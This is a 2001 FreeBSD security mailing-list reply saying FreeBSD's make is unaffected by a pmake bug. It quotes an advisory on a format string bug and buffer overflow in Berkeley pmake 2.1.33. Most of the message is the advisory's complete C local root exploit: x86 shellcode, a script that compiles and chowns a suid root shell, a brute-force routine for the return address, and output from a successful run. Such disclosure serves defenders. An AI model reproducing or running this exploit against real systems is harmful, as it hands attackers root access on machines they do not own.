Date: Wed, 21 Nov 2001 22:20:11 -0600 (CST) From: Mike Silbersack <silby@silby.com> To: <freebsd-security@freebsd.org> Subject: Re: Advisory: Berkeley pmake Message-ID: <20011121221635.C2710-100000@achilles.silby.com> In-Reply-To: <3BFBC625.371BC65C@starzetz.de>
next in thread | previous in thread | raw e-mail | index | archive | help
FWIW, I decided to look at our (pmake-derived) make. It appears that this
bug was fixed in changes made by NetBSD folk which we imported over 5
years ago. That's cool. :)
In any case, since we don't have make setuid, it looks like it was never
an issue for us.
Mike "Silby" Silbersack
On Wed, 21 Nov 2001, Paul Starzetz wrote:
> 1. Problem description
> ----------------------
>
> There is a format string bug in the Berkeley's pmake 2.1.33 and below
> (parallel make) package as well as a buffer overflow problem. Pmake is
> suid root on various Linux distributions and uses root privileges for
> binding to low TCP ports. The ordinary format string bug leads to local
> root compromise on all vulnerable machines.
>
>
> 2. Details
> ----------
>
> The vulnerable code can be found in src/job.c at line 720 and looks
> like:
>
> if (! (job->flags & JOB_SILENT) && !shutUp &&
> commandShell->hasEchoCtl) {
> DBPRINTF ("%s\n", commandShell->echoOff);
> DBPRINTF (commandShell->errCheck, cmd);
> shutUp = TRUE;
> }
>
> and in src/str.c line 170:
>
> register char *tstr; /* Pointer into tstring */
> char tstring[512]; /* Temporary storage for the
> * current word */
>
>
> So if the user puts a shell definition into the Makefile, pmake will use
> errCheck for output formatting which is controllable by the user. The
> following Makefile demonstrates the format string problem:
>
> all:
> -echo blah
>
> .SHELL : path=/bin/sh echo="" quiet="" hasErrCtl=no check=%x%x%x%x%x
>
> Putting a long line (>512 characters) in place of the '%x' results in
> SIGSEGV and possible overwrite of the return address on the stack (a
> very carefully prepared string is needed).
>
>
> 3. Solution
> -----------
>
> The patch for the format string bug is obvious. Temporary solution is to
> remove the suid bit from the binary.
>
>
> 4. Status
> ---------
>
> Vendors informed in July 2001.
>
>
> 5. Exploit
> ----------
>
> A hole is a hole is a ... only if it is exploitable. The attached C
> source code will brute force the format string and create a suid shell.
> There is nothing special about it - the only hard point is to get the
> write length correctly. Succesfull exploitation looks like:
>
>
> paul@phoenix:~/expl/pmake > ./pm -w+2
>
> *****************************************
> * *
> * pmake local root exploit *
> * by IhaQueR@IRCnet '2001 *
> * *
> *****************************************
>
>
>
> * PHASE 1
>
> preparing new environment
> cleaning
> preparing shell script
> allocating pipe
> stdout/in preparation
> generating Makefile
> finished setup
>
>
> * PHASE 2
>
> digging magic string: 0 1 2 3 4 5 6 7
> 8 9 10 11 12
> found mark, parsing output
> FOUND magic string with pading=0 output length=1446
>
>
> * PHASE 3
>
> looking for write position: 1 * FOUND *
> FOUND write position at index=1
> creating final makefile
> creating shell in the environment
>
>
> * PHASE 4
>
> brute force RET: 0xbfff73b0 0xbfff73b4 0xbfff73b8
> 0xbfff73bc 0xbfff73c0
>
> Paradox, created suid shell at /home/paul/expl/pmake/sush
>
>
> ----------------------------------- pmexpl.c
> -----------------------------------
>
> /****************************************************************
> * *
> * Pmake <= 2.1.33 local root exploit *
> * coded by IhaQueR@IRCnet *
> * compile with gcc -pmexpl-c -o pm *
> * meet me at HAL '2001 *
> * *
> ****************************************************************/
>
>
>
>
>
> #include <stdio.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <sys/stat.h>
> #include <sys/wait.h>
> #include <string.h>
> #include <signal.h>
> #include <stdlib.h>
>
>
>
> // some definitions
> #define TARGET "/usr/bin/pmake"
> #define MKFILE "Makefile"
> #define MKMSH "./mkmsh"
> #define TMPLEN 256
> #define USERSTACK 0xc0000000u
> #define NN "\E[m"
> #define GR "\E[32m"
> #define RD "\E[31m"
> #define BL "\E[34m"
> #define BD "\E[1m"
> #define FL "\E[5m"
> #define UL "\E[4m"
>
>
> extern char **environ;
>
> static const char *banner = "\n"
> BL"*****************************************\n"
> "*\t\t\t\t\t*\n"
> "*\tpmake local root exploit\t*\n"
> "*\tby "FL"IhaQueR@IRCnet"NN BL" '2001\t\t*\n"
> "*\t\t\t\t\t*\n"
> "*****************************************\n"
> "\n"NN;
>
> static const char *usage = "\n"
> UL"USAGE:"NN " %s\t-w <wlen delta, try -32,...,32>\n"
> "\t\t-s <shell addr>\n"
> "\t\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake
> 2.1.33>\n"
> "\t\t-m <attempts>\n"
> "\t\t-p <%%g preload>\n"
> "\n";
>
> static const char *mkfile = "all:\n\t-echo blah\n\n.SHELL : path=/bin/sh
> echo=\"\" quiet=\"\" hasErrCtl=no check=";
>
> // setresuid(0,0,0) shellcode
> static char hellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
> "\xb0\xa4\xcd\x80"
> "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
> "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
> "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./mkmsh";
>
> // our suid shell maker
> static char mkmsh[] = "#!/bin/bash\n"
> "cat <<__DUPA__>sush.c\n"
> "#include <stdio.h>\n"
> "#include <unistd.h>\n"
> "main() {setuid(geteuid()); execl(\"/bin/bash\", \"/bin/bash\",
> NULL);}\n"
> "__DUPA__\n"
> "gcc sush.c -o sush >/dev/null 2>&1\n"
> "chown 0.0 sush\n"
> "chmod u+s sush\n";
>
> static char *fromenv[] = { "TERM",
> "HOME",
> "PATH"
> };
>
> #define numenv (sizeof(fromenv)/sizeof(char*)+2)
>
> static char *myenv[numenv];
> static char eb[numenv][TMPLEN];
>
> int cn=0;
>
>
> void child_kill(int v)
> {
> cn--;
> }
>
>
> int do_fork()
> {
> cn++;
> return fork();
> }
>
>
> int main(int ac, char** av)
> {
> int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
> unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
> unsigned char *ptr;
> char buf[16384];
> char buf2[16384];
> char aaaa[1024*32];
> char head[64];
> struct stat sb;
> fd_set rs;
>
>
> // setup defaults
> // shell address is calculated from user stack location and the big nop
> buffer...should work :-/
> shadr = USERSTACK - sizeof(aaaa)/2;
> wadr = 0xbfff73b0;
> mx = 512;
> gprel=150;
> wdel=0;
>
> setpgrp();
> setsid();
>
> printf(banner);
>
> // parse options
> if(ac!=1) {
> res = getopt(ac, av, "hw:s:a:m:p:");
> while(res!=-1) {
> switch(res) {
> case 'w' :
> wdel = atoi(optarg);
> break;
>
> case 's' :
> sscanf(optarg, "%x", &shadr);
> break;
>
> case 'a' :
> sscanf(optarg, "%x", &wadr);
> break;
>
> case 'm' :
> sscanf(optarg, "%d", &mx);
> break;
>
> case 'p' :
> sscanf(optarg, "%d", &gprel);
> if(gprel==0)
> gprel=1;
> break;
>
> case 'h' :
> default :
> printf(usage, av[0]);
> exit(0);
> break;
> }
> res = getopt(ac, av, "hw:s:a:m:p:");
> }
> }
>
>
> // phase 1 : setup
> printf("\n\n"BD BL"* PHASE 1\n"NN);
>
> // prepare environ
> printf("\n\tpreparing new environment");
> memset(aaaa, 'A', sizeof(aaaa));
> aaaa[4]='=';
> up=(unsigned*)(aaaa+5);
> for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
> up[i]=0x41424344;
> aaaa[sizeof(aaaa)-1]=0;
> len1=strlen(aaaa);
>
> // buffer overflow :-)
> myenv[0]=aaaa;
> for(i=1; i<numenv-1; i++) {
> myenv[i]=eb[i-1];
> strcpy(eb[i-1], fromenv[i-1]);
> if(!strchr(fromenv[i-1], '=')) {
> strcat(eb[i-1], "=");
> strcat(eb[i-1], getenv(fromenv[i-1]));
> }
> }
> myenv[numenv-1]=NULL;
>
> // clean
> printf("\n\tcleaning");
> unlink("LOCK.make");
> unlink("sush");
> unlink("sush.c");
> unlink("mkmsh");
> system("rm -rf /tmp/make* >/dev/null 2>&1");
>
> // our suid shell
> printf("\n\tpreparing shell script");
> mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
> if(mk<0)
> perror("open"), exit(1);
> write(mk, mkmsh, strlen(mkmsh));
> close(mk);
>
> // comm pipe
> printf("\n\tallocating pipe");
> res = pipe(pd);
> if(res<0)
> perror("pipe"), exit(2);
>
> // redirect stdin/out
> printf("\n\tstdout/in preparation");
> res = dup2(pd[1], 2);
> if(res<0)
> perror("dup2"), exit(3);
>
> fd = open("/dev/null", O_RDWR);
> if(fd<0)
> perror("open"), exit(4);
>
> // our makefile
> printf("\n\tgenerating Makefile");
> mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
> if(mk<0)
> perror("open"), exit(5);
> write(mk, mkfile, strlen(mkfile));
> for(i=0; i<gprel; i++)
> write(mk, "%g", 2);
> fsync(mk);
>
> // child killer
> printf("\n\tfinished setup");
> if(signal(SIGCHLD, &child_kill)==SIG_ERR)
> perror("signal"), exit(6);
>
>
> // phase 2 : dig format string
> printf("\n\n\n" BD BL "* PHASE 2\n"NN);
> printf("\n\tdigging magic string:\t");
>
> cnt=0;
> while(1) {
>
> lseek(mk, -2, SEEK_CUR);
> write(mk, "%g%x", 4);
> fsync(mk);
> usleep(1);
>
> pid = do_fork();
>
> // get child output
> if(pid) {
> printf("%4d ", cnt);
> fflush(stdout);
>
> do {
> bzero(buf, sizeof(buf));
> res = read(pd[0], buf, sizeof(buf)-1);
> if(res > 128) {
> break;
> }
> } while(1);
> kill(SIGTERM, pid);
> usleep(1);
> waitpid(pid, NULL, WUNTRACED);
> bzero(buf2, sizeof(buf2));
> read(pd[0], buf2, sizeof(buf2)-1);
> if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
> read(pd[0], buf2, sizeof(buf2)-1);
>
> // look for padding
> pad=-1;
> if(strstr(buf, "41424344")) {
> pad=0;
> }
> else if(strstr(buf, "42434441")) {
> pad=1;
> }
> else if(strstr(buf, "43444142")) {
> pad=2;
> }
> else if(strstr(buf, "44414243")) {
> pad=3;
> }
>
> // if got the mark parse output for final string
> if(pad!=-1) {
> printf("\n\tfound mark, parsing output");
> ptr = strtok(buf, "\t\n ");
> while(ptr) {
> if(strlen(ptr)>64)
> break;
> ptr = strtok(NULL, "\t\n ");
> }
>
> // calculate write length -6, -8 hm I'm dunno about the 16?
> wlen=strlen(ptr)+wdel-16;
> printf("\n\tFOUND magic string with pading=%d output length=%d",
> pad, wlen);
>
>
> // PHASE 3 : find write pos in aaaa
> printf("\n\n\n" BD BL "* PHASE 3\n"NN);
>
> printf("\n\tlooking for write position: ");
>
> up=(unsigned*)(aaaa+5-pad);
> cnt=0;
>
> for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
> old=up[i];
> up[i]=0xabcdef67;
> printf("%4d ", i);
> sprintf(head, "%x", up[i]);
> fflush(stdout);
>
> if(cn)
> read(pd[0], buf2, sizeof(buf2)-1);
> pid = do_fork();
> if(pid) {
> do {
> bzero(buf, sizeof(buf));
> FD_ZERO(&rs);
> FD_SET(pd[0], &rs);
> select(pd[0]+1, &rs, NULL, NULL, NULL);
> res = read(pd[0], buf, sizeof(buf)-1);
> if(res > 128) {
> break;
> }
> } while(1);
> kill(SIGTERM, pid);
> usleep(1);
> read(pd[0], buf2, sizeof(buf2)-1);
>
> // up[i] is now the place for the beginning of our address field
> if(strstr(buf, head)) {
> printf(" * FOUND *");
> fflush(stdout);
> up[i]=old;
> idx=i;
> printf("\n\tFOUND write position at index=%d", i);
> up[i]=old;
> ptr = strtok(buf, "\t\n ");
> while(ptr) {
> if(strlen(ptr)>64)
> break;
> ptr = strtok(NULL, "\t\n ");
> }
>
> // construct write 'head':
> printf("\n\tcreating final makefile");
> fflush(stdout);
> lseek(mk, -2, SEEK_CUR);
>
> ptr = (unsigned char*)&shadr;
> for(j=0; j<4; j++) {
> flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
> wlen = wlen + flip;
> sprintf(head+j*8, "%%%04dx%%n", flip);
> }
> head[32] = 0;
> write(mk, head, strlen(head));
>
> // brute force RET on the stack upon success
> printf("\n\tcreating shell in the environment");
>
> // create env shell
> ptr = (unsigned char*)&(up[i+2*10]);
> while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
> *ptr=0x90;
> ptr++;
> }
>
> strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
> strlen(hellcode));
> aaaa[sizeof(aaaa)-1]=0;
> if(len1!=strlen(aaaa)) {
> printf(BD RD"\nERROR: len changed!\n"NN);
> exit(7);
> }
>
> // phase 4: brute force
> printf("\n\n\n"BD BL"* PHASE 4\n"NN);
> printf("\n\tbrute force RET:\t");
> fflush(stdout);
> cnt=0;
>
> while(cnt<mx) {
>
> for(j=0; j<4; j++) {
> up[idx+2*j] = wadr + j%4;
> up[idx+2*j+1] = wadr + j%4;
> }
>
> pid = do_fork();
> if(pid) {
> printf(" 0x%.8x", wadr);
> fflush(stdout);
> waitpid(pid, NULL, WUNTRACED);
> res = stat("sush", &sb);
> if(!res && sb.st_uid==0) {
> printf(BD GR"\n\nParadox, created suid shell at
> %s/sush\n\n"NN, getcwd(buf, sizeof(buf)-1));
> system("rm -rf /tmp/make* >/dev/null 2>&1");
> exit(0);
> }
> }
> else {
> res = dup2(fd, 1);
> if(res<0)
> perror("dup2"), exit(8);
> res = dup2(fd, 2);
> if(res<0)
> perror("dup2"), exit(9);
>
> execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
> _exit(10);
> }
> if(cnt%8==7)
> printf("\n\t\t\t\t");
> cnt++;
> wadr += 4;
> }
> // failure
> printf(BD RD"\nFAILED :-("NN);
> system("rm -rf /tmp/make* >/dev/null 2>&1");
> exit(11);
> }
> }
> else {
> res = dup2(fd, 1);
> if(res<0)
> perror("dup2"), exit(12);
> execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
> exit(13);
> }
> up[i]=old;
> waitpid(pid, NULL, WUNTRACED);
> }
>
> printf(BD RD"\n\tstrange error, write pos not found!\n"NN);
> system("rm -rf /tmp/make* >/dev/null 2>&1");
> exit(14);
>
> ptr = strtok(buf, "\n");
> while(ptr) {
> printf("\nLINE [%s]", ptr);
> ptr = strtok(NULL, "\n");
> }
>
> exit(15);
> }
>
> // start target and read output
> }
> else {
> res = dup2(fd, 1);
> if(res<0)
> perror("dup2"), exit(16);
> execle(TARGET, TARGET, "-X", "-dj", NULL, myenv);
> exit(17);
> }
>
> if(cnt%8==7)
> printf("\n\t\t\t\t");
> cnt++;
> }
>
> printf(BD RD"\nFAILED\n"NN);
> system("rm -rf /tmp/make* >/dev/null 2>&1");
>
> return 0;
> }
>
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20011121221635.C2710-100000>
